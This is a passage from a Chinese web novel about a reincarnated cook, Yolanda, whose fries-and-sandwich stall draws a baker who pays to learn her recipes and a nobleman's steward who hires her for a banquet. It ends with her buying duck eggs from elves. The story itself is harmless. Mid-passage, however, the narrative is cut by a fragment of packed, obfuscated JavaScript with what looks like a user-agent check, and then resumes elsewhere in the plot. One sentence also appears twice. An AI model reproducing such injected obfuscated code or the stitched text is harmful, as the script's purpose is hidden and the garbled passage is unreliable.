西芙拉耸耸肩，“肉馅团？反正我没见过。” “肉馅团”三个字一出来，菲奥娜的眼睛顿时亮了，踮起脚尖往蒸笼里张望。 确实有肉香，混着羊角芹的清鲜，还有一丝说不上来的香料味，勾得人心里直痒痒。 “好香啊……”菲奥娜吸了吸鼻子，恨不得现在就揭开盖子。 她转头看向门外，尤兰达蹲在井边处理鳕鱼，刀起刀落，三两下就收拾得干干净净。 “妈——”菲奥娜扒着门框探出脑袋，“肉馅团还要多久啊？” 尤兰达：“等你切完面包就好了。” 西芙拉这才反应过来，提溜着妹妹的腰带拖回流理桌边。 “别偷懒，快来切面包。” 妈妈可是说了，一份三明治25铜币，今天的100份做出来，就能有2500铜币。 西芙拉可以做一千份、一万份！ 菲奥娜想起赚钱要紧，拿上小刀磨面包。 自家吃的三明治切厚片面包，对外出售的，则需要薄上一半，一份用三片，有效降低成本。 只是成本控制了，可为难住她们俩了，切薄了容易碎，手一抖就歪歪扭扭，厚薄不均，务必仔细小心。 菲奥娜盯着手里断了一角的面包块，没敢往盘子里放，悄悄塞进自己嘴里，重新切。 西芙拉比她稳当些，切出来的薄片整整齐齐，码在盘子里，瞧着像那么回事。 大约翰缩着肩膀旁观全程，偷偷笑了一声，又急忙憋住。 一时间，小院里安静下来，只剩刀碰案板的笃笃声，和偶尔压低的说话声。 临近中午，早午饭端上餐桌。 尤兰达切了两根酸黄瓜佐餐，唏哩呼噜喝掉一碗小米粥，一手抓着包子啃，一手忙着炸薯条、炸鳕鱼排、煎荷包蛋，三口灶台轮着转，愣是没耽误一会。 厨房外，姐妹俩咋呼的动静时不时传来。 “好烫好烫，馅饼里怎么会有汁。” “好软好黏，你看，它陷下去了。” 和面时用了沸水，没放酵母粉，也就是所谓的死面，做出来的包子皮薄透亮、软糯微弹，这样的状态，和中世纪常见的硬邦邦面食无一处相似。 哪哪怕是大家公认“够软”的白面包，也比不上。 大约翰一口咬下去，肉馅鲜嫩多汁，紧贴包子皮，稍不注意汁水四溢，沾的衣袖上都是肉馅香味。 油渣羊角芹馅的不比肉馅差。油渣的荤香被羊角芹的野气托住，不腻不寡，十分独特。 他咬一口，斯哈一下，再咬一口，又斯哈一下，满口的肉味，混着羊角芹的清鲜，烫得他直吸气，却不愿停下来。 这时吃两口酸黄瓜，喝一口粥，浑身的毛孔都舒展开了。 他低头看着手里剩下的小半块包子。 和前几顿一样，大部分是街市上常见的食材，落在夫人手里，完全变了个样。 这日子过的……也太好了。 “孩子们，该组装三明治了——” 尤兰达一声喊，三人闻言加速咀嚼，抹着嘴往厨房跑。 今天，尤兰达决定带上菲奥娜去摆摊。 没办法，客人越来越多，一个人应付多少有点累。 菲奥娜年轻体力好，分开姐妹俩，也能让压制一下她们的玩心，多想着点干活。 “小西，你和大约翰继续进山，挑鸡油菌，”尤兰达一边往板车上搬东西，一边交待，“老规矩，不许去太深的地方，不许采摘陌生菌菇。” 西芙拉瞥一眼大约翰，百无聊赖的摊手。 虽然妹妹很蠢，但和妹妹在一起比和大约翰一起有趣太多。 大约翰元气满满，他对工作的热情，不亚于某黄色海绵。 临出门前，尤兰达拽住西芙拉，往她裙子的兜里塞了一把匕首。 “带着。”她压低声音。 西芙拉愣了一下，摸摸兜里的小刀，又抬头看看妈妈。 尤兰达没多解释，拍了拍她的肩膀，转身推起板车。 大约翰看着没什么坏心眼，可防人之心不可无。 西芙拉虽不满18岁，但身高已经有一米七几了，比营养不良的大约翰高出两个头，加上匕首，完全可以压制他。 板车吱呀吱呀推出门，菲奥娜回头挥挥手，笑得没心没肺。 “早点回来！”西芙拉喊了一声，下午要一起去菜市街的。 板车拐过弯，不见了。 西芙拉收回目光，拍了拍裙子上并不存在的灰，转头睨一眼大约翰。 “走吧。” 大约翰点点头，背起背篓，跟上她的脚步。 两人一前一后，往山林的方向去。 已经两天没来摆摊的菲奥娜，还当一切和以前一样。 直到走进工匠街，她彻底傻眼。 “妈妈，”她的声音发飘，“我才两天没来工匠街，对吗？” 两天而已，工匠街陌生得可怕。 板车还没停稳，呼啦啦一群人围上来，伸手递钱催着点单，叽叽喳喳吵得人脑仁疼。 眨眼工夫，队伍从摊前蜿蜒出去，绕过街角，尾巴隐入巷子深处，根本望不到头。 尤兰达踩上大树根，手搭额前眺望远处，直呼好家伙。 没到星期四呢，这就疯狂了，真搞个疯狂星期四，她的小摊哪遭得住啊。 菲奥娜张望了一圈又一圈，没见到熟面孔，绷紧的神经放松些许。 她手忙脚乱的固定招牌，明晃晃的大薯条立在摊前，像一面旗帜，人群里格外扎眼。 队伍里有人伸长脖子张望，指着大薯条跟旁边的人嘀咕：“是这家吗？好大一根薯条啊……” “对对对，就是这家！薯条夫人！” “怎么会有这么大的薯条，能吃吗？” 两天而已，菲奥娜总觉得自己错过了一个世纪。 劳伦斯也以为晚来了一个世纪。 明明和昨天差不多时间出门，结果只能排到队伍末尾。 他踮起脚往前看，黄压压的人头，轮到他的时候能剩下什么，真不好说。 昨天还没这么夸张呢。 劳伦斯紧抓钱袋，原本有几分迟疑的念头，在此刻稍稍坚定了一瞬。 7铜币的生意不起眼，可架不住人多啊，这一条长龙排下来，一天赚多少啊？ 劳伦斯算不清楚，但肯定不少。 他随着队伍向前移动，越等越心焦，随即念头一转。 不对啊，他是来花钱拜师的，怎么排起队来了？ 劳伦斯回过神，从队伍里抽身出来，旁边的人立刻挤上，把他空出的位置填得严严实实。 他站在人群外围，望着缓慢挪动的长龙，心里一阵犯难。 可怎么开口呢？ 当着这么多人的面，万一拒绝他怎么办？ 劳伦斯踌躇着、徘徊着，一磨蹭便磨蹭到收摊的时候。 前面人多，他还可以说服自己再等等，眼见人家要走了，劳伦斯等不住了，一咬牙，迈步上前。 “下午好，薯条夫人。”他拘谨地打招呼。 尤兰达抬起头，扬起一个客气的微笑 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可薯条的制作也没难到一定程度，等大家慢慢琢磨出门道，复刻出来是迟早的事。 与其到时候被人偷学去，不如趁现在行情好，明码标价地教。 尤兰达早想好这一点，只不太清楚该用什么样的价。 劳伦斯递出钱袋，“薯条夫人，你愿意考虑一下吗？” 尤兰达没好意思抢人家钱袋子，菲奥娜好意思，一把抓过来打开系绳。 “3金币！？” 菲奥娜低呼一声，连忙扯了扯尤兰达的裙子，眨眼睛示意她答应下来。 尤兰达没好气的给她一个白眼。 傻孩子一点账不会算，3金币，她们摆一星期的摊子差不多就能赚回来。 “如果只是这点钱，劳伦斯先生，我必须说抱歉了。” 劳伦斯心里拔凉，3金币也不行吗？ “您知道的，”尤兰达不紧不慢开口，嘴角挂着自信笑容，“以薯条现在的火爆程度，赚回三枚金币用不了几天。我实在想不出，有什么理由同意您的请求。” 这话摆明了说出来，菲奥娜小吃一惊，劳伦斯吃一大惊。 她们都清楚薯条、三明治如今有多火，排到巷子尾的队伍可见一斑。 可她们确实不知道，利润能有这么多。 劳伦斯对小吃摊的印象，还停留在每天四五百铜币的阶段，还得是生意顺当的时候。 几天时间赚回三枚金币？他开了这么多年面包坊，都不敢这么拍胸脯保证。 劳伦斯心里那杆秤摇摇晃晃，有点想打退堂鼓。 三枚金币够让他肉疼了，再多？他没那个勇气。 尤兰达看出他的望而却步，淡淡地笑了笑。 “假如我们谈成这笔合作，也不代表我不能把方法卖给其他人，你知道的，买断制作方法是另一种价钱。” 劳伦斯刚冒出头的放弃念头，瞬间打消得干干净净。 薯条夫人不卖给他，还可以卖给隔壁街一直眼红他生意的同行，卖给其他酒馆。 到时候满大街卖薯条的，他落后别人一步，还能趁机大赚一笔吗？ 话又说回来，薯条夫人摆摊几天能赚回3金币，他的面包坊即便比不上，多卖几天总够了吧。 左思右想，劳伦斯觉得这笔学费得交，值得交。 他原先以为3金币稳妥了，另外备了一些银币，哪知道人家看不上这点。 劳伦斯摸了摸身上几个口袋，露出囊中羞涩的窘迫。 “十枚金币，”他咬了咬牙，“我学薯条的做法。” 尤兰达面上不动声色，心里乐开花。 十枚金币啊，赚到手她完全可以敞开了装修店铺。 她故意拿乔，做出思索状，“您可真——” “嘿！薯条夫人。” 正和劳伦斯说着话，一位老顾客走来，他引来了另一位穿着讲究的中年绅士。 “这位叫琼斯的管家先生要找你。” 中年绅士先向引路的热心人道谢，而后微微颔首，越过劳伦斯，径直走到尤兰达面前，表达来意。 “你好，薯条夫人，我是琼斯，代表戴维斯老爷前来邀请你，为星期日的雉鸡宴准备一些餐食。” 他目光扫过销售一空的小吃摊，语气稍显热切：“比如三明治、薯条，他们可太受欢迎了。戴维斯老爷的客人不少贵族出身，他们一向不喜欢热闹的地方。” 琼斯说得委婉，在场众人谁不是心知肚明。 贵族们哪是不喜欢热闹，分明是瞧不上平民区的各位，包括尤兰达本人。 劳伦斯直咋舌。 乖乖，薯条夫人要去给勋爵老爷们做薯条三明治？ 菲奥娜的惊讶不比劳伦斯少。 她自诩身份，说到底也只是富商之女，比起普通平民优越些，比起更高阶级则完全不够看。 要不母女三人当初怎么会卯足了劲，想在王子舞会上挑黄金单身汉呢。 那可是跨越阶级的天大好事。 而今，高攀不上的贵族们不愿屈尊降贵的和平民们一起排队，便换了个方式，请尤兰达上门。 菲奥娜眼珠子一转，神气极了。 琼斯自顾自往下说：“雉鸡宴不能出错，薯条夫人必须做出本杰明子爵吃过的同款三明治，如果搞砸了……” 菲奥娜哪顾得上什么如果不如果，搞砸不搞砸，满脑子贵族、子爵。 她拽住尤兰达裙摆，扯了又扯，只恨自己不能替妈妈应下。 谁不希望和贵族产生交集呢。 尤兰达努力回想，想不起来本杰明子爵这号人物，但不影响她通过琼斯管家的只言片语了解事情始末。 不出意外，又是一个跟风贵族的，不过这位戴维斯老爷更有财力。 尤兰达对此格外淡然，甚至有种习以为常的熟练。 前世她拍视频当美食博主的时候，常有富婆粉丝馋她厨艺，花大价钱包机酒出材料，请她上门烹饪。 尤兰达可不少赚。 “我想，戴维斯老爷应该会给予一些报酬吧？食材需要自带吗？戴维斯老爷住在哪里？如果是城外很远的地方，我恐怕要说抱歉了。” 琼斯愣了一瞬，答：“当然，当然有报酬，不止报酬，所需食材也包了。薯条夫人请放心，戴维斯老爷住在城东，不会太远。” 城东，也就是土著们口中所谓的富人区，距离贵族区还有不小一段路程，距离尤兰达所在的平民区，不远也不近。 琼斯见她思考着什么，伸出1根手指。 劳伦斯意会：“……1银币？” 琼斯轻蔑一笑，“不不不，薯条夫人值得更多。” 菲奥娜喜上眉梢：“10银币？” 琼斯无语地沉默片刻：“100枚银币。” 劳伦斯险些控制不住表情，内心一片卧槽。 那不就是1金币？ 上门做一次三明治，抵摆摊几天的利润，这合理吗？ 36.第 36 章 其他人为1金币的劳务费震惊不已，尤兰达紧了紧皮。 以当前行情，通过行会聘请厨师□□，20银币算很不错的价格。 只做三明治、薯条，就有100银币赚，谁听了不说一句天上掉馅饼。 尤兰达反复确认：“真的有100银币？” 琼斯无奈了，再三点头。 倒真不是戴维斯老爷钱多没处花，而是邀请的客人们身份不低，若让人知道，只花了几枚银币把最近风头正盛的薯条夫人请来，未免有点拉低档次。 当然，戴维斯老爷也没准备让尤兰达轻轻松松把钱赚走，做得不好，扣钱理所当然。 “雉鸡宴一共有五轮，夫人需负责第四轮的餐后小食。” 所谓餐后小食，就是饭后甜点，排在宴会尾声，需要一下吸睛的玩意做为记忆锚点，完美收场。 所谓餐后小食，就是饭后甜点，排在宴会尾声，需要一道足够吸睛的玩意儿做记忆锚点，好让宴席完美收场。 三明治、薯条无论如何排不上前几轮，和烤孔雀、烤鹿肉摆在一起，确实不像话。 放在第四轮正正好。 “戴维斯老爷的邀请我接下了。”尤兰达略一思索，爽快同意。 琼斯毫不意外，“你做出了最正确的决定。星期六，我会派女仆联系你，假如有食材方面的特殊需求，务必交待给她，那时她会告诉你戴维斯老爷的宅邸。” 琼斯颔首准备离去，想起什么，侧身时停顿片刻，补充道：“对了，请在星期六一并告知我你准备的小食有哪些，你知道的，我要安排一整场雉鸡宴，不能出差错。” 尤兰达十分理解，“请放心，琼斯先生，这几天我会好好准备的。” 琼斯先生依次向尤兰达、菲奥娜微笑示意告辞，步伐从容的离开。 剩下的三人神色各异，沉浸在各自的思绪中，气氛稍显微妙。 劳伦斯搓了把脸，泄气追问：“那么……薯条夫人，我们说好的……” 他挺没底气的。 凭借为勋爵老爷服务这一点，薯条夫人完全可以狮子大张口提价。 超过十金币，劳伦斯舍不舍得不重要，得看钱包答不答应。 不过他也没有太沮丧，他出不起更高价格，其他面包坊、酒馆，也不一定出得起。 “抱歉，劳伦斯先生，事情发生的太突然，耽误您的时间了。”尤兰达首先表示歉意。 劳伦斯听到“抱歉”两个字，神色黯淡下来。 他就知道会是这样。 “您的提议我同意了，假如您不着急，我们可以安排之后的几天教学，去您的面包坊？” 劳伦斯沉沉下坠的心脏，倏地高高升起，一起一落刺激得他半张着嘴说不出话。 尤兰达等了等，没等来回应，以为他反悔了，刚要张口，劳伦斯急促道： “再好不过了，薯条夫人，明天好吗？我迫不及待想学习怎么制作薯条。它太棒了，比平常吃的土豆好吃太多。” 尤兰达翘起唇角，“那就定在明天。收摊之后我会带上家中学徒去您的面包坊，您得提前准备一些土豆和猪油。” 劳伦斯脸差点笑烂，生怕尤兰达反悔，赶紧从钱袋里掏出三枚金币塞过来当订金。 又一单生意谈妥，菲奥娜这下再也管不住自己的表情，笑得见牙不见眼。 要不是还端着架子，恨不得当场蹦起来。 “妈妈，我们赚到金币了！” 通常情况来讲，大多数人会选择给300枚银币，而不是三枚金币。 这方面，劳伦斯先生确实很大气。 尤兰达跟着高兴了一会，捂住菲奥娜想要昭告天下的嘴。 本来自家生意好就够打眼的了，万一让人盯上，半路抢钱什么的…… 菲奥娜呜呜叫，挣扎着扒开她的手，倒是没再嚷嚷了。 她攥着尤兰达的袖子，眼睛亮晶晶地往巷子方向瞅：“妈妈，快点回家吧，我们还要去菜市街看精灵呢！” 尤兰达被她拽得直晃，推起板车往特意绕去铁匠铺。 老铁匠正在炉子后面忙活，听见声音抬起头，看见是她，笑呵呵从架子上取下两口小铁锅，叮叮当当地拎过来。 “薯条夫人，您要的锅，瞧瞧。” 尤兰达接过来翻了翻，锅底平整，厚薄均匀，拿在手里沉甸甸。 三角铲已经是当下锻造技艺能达到的最轻薄状态，足够日常使用。 丁点大的锅要1500铜币，按照当地人平均月收入，真不便宜，做成原身嫁妆那样的大铁锅，只会更贵。 尤兰达掂了掂，从钱袋里数出一千二百铜币递过去。 搁昨天，付这么大一笔尾款，她多少得肉疼一下。 但谁让她今天赚到了金币呢。 老铁匠接过铜币，乐呵呵地数了数，抬头看她一眼：“薯条夫人今天心情不错啊。” 尤兰达笑了笑，没接话，把两口锅往板车上一搁，推着往家走。 菲奥娜蹦蹦跳跳跟在旁边，隔一会儿抬头看天色，嘴里不停念叨。 “快点快点，再晚精灵就走了……” 尤兰达被她吵得头疼，“急什么，精灵又不是麻雀，飞不了那么快。” 菲奥娜才不管，拽着板车边沿往前跑，大有一步跨到家的架势。 母女俩紧赶慢赶回到家，却见大约翰和西芙拉先她们一步到家。 大约翰绞着手，脑袋深深垂下，一脸羞愧。 西芙拉花蝴蝶一样跑进跑出，换下一套套裙子，心情极好。 尤兰达往井边一瞄，心里有数了。 笸箩里散开许多处理好的鸡油菌，可见他们回来了有一会。 再看旁边的箩筐，今天总共收获两筐鸡油菌，以及小半筐榛蘑。 不用问，肯定摸鱼了。 尤兰达想象得到，一定是西芙拉生拉硬拽，催着人回家。 “你们认识榛蘑？” 她上前，把箩筐里数量不多的榛蘑挑拣出来，确定没有毒蘑菇混入。 大约翰想到出门前夫人的嘱咐，忙解释：“我们遇到山中的猎户了，他指点我们采了榛蘑。” 尤兰达表扬：“真不错，你们又认识了一种菌菇。” 两人搭话的工夫，菲奥娜丢下东西，急吼吼扎进衣柜里。 大约翰没什么可打扮的，坐立不安的处理鸡油菌。 尤兰达手一指：“去把棚子上的蜂窝煤收起来吧，堆去厨房垒起来，回来教你怎么处理榛蘑。” 大约翰如蒙大赦，雨过天晴般露出笑脸，屁颠颠干活去了。 夫人说了许多，偏偏没提菌菇数量不对，那就代表不介意他们偷懒的事了。 大约翰提着的心终于放下。 尤兰达盯着收起来的蜂窝煤，琢磨着什么时候搓下一批。 前两批蜂窝煤足够应付摆摊所需，许多时候自家做饭也用它们，撑到9月问题不大。 冬季到来后，土地上冻，久不见阳光，到时候再搓煤球没现在方便。 日常用的蜂窝煤够了，看来有必要搓点取暖用的蜂窝煤。 脑子里盘算家中琐事，尤兰达手上动作没停。 从笸箩里倒出晒干的黑木耳、鸡腿菇等，分别装进麻布袋，抽绳一抽，直接挂上房梁，随取随用。 搬进矮人巷短短几天，这间稍显空旷的厨房，已经慢慢添了许多食材、厨具。 环顾一圈，自得一会，尤兰达一拍脑门，快步去柴棚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于平民吃不起的樱桃、李子、桃子、杏子、无花果、甜瓜等，就不提了，想也知道不会比21世纪的更好吃。 大家最常接触的，只剩下柠檬、葡萄一类，实在单调。 尤兰达不算特别爱吃水果，这几天没吃着好吃的，嘴巴还真有点馋。 一路上，她心心念念买果子买果酒。 可一到菜市街，顺着拥挤人群来到摊位前，直面浑身发着光的貌美精灵们，尤兰达满脑子的念头一个比一个冒昧。 显然，精灵们十分习惯被人族盯着看了。 无论男女精灵，均保持淡淡的冷漠，公式化询问顾客买什么，或者用什么东西做为交换。 轮到尤兰达，她十分丢脸地吞了吞口水，扫一眼面前待售的物品，慢半拍回答仙女一样的美丽女精灵。 “鸭、鸭蛋，我需要鸭蛋。” 女精灵多看了尤兰达一眼。 怎么说呢，大多数人族看精灵族的眼神，要么痴迷，要么忌恨，眼前的夫人不一样。 她眼睛亮晶晶，像她们欣赏天上的月亮一样欣赏着她们，干净坦荡。 女精灵微微笑，打开木桶盖子，从谷糠里捡出十几枚圆滚滚的野鸭蛋，码进篮子里。 “够吗？” 尤兰达看呆了，哪知道够不够，反正直勾勾的看。 女精灵笑意加深，又捡了几颗野鸭蛋。 尤兰达接过篮子时，整个人都懵了。 等等，她不是来买水果的吗？ 望着一篮子野鸭蛋，尤兰达只困惑地挠挠头，却没想着退货。 正好，带回家腌咸鸭蛋。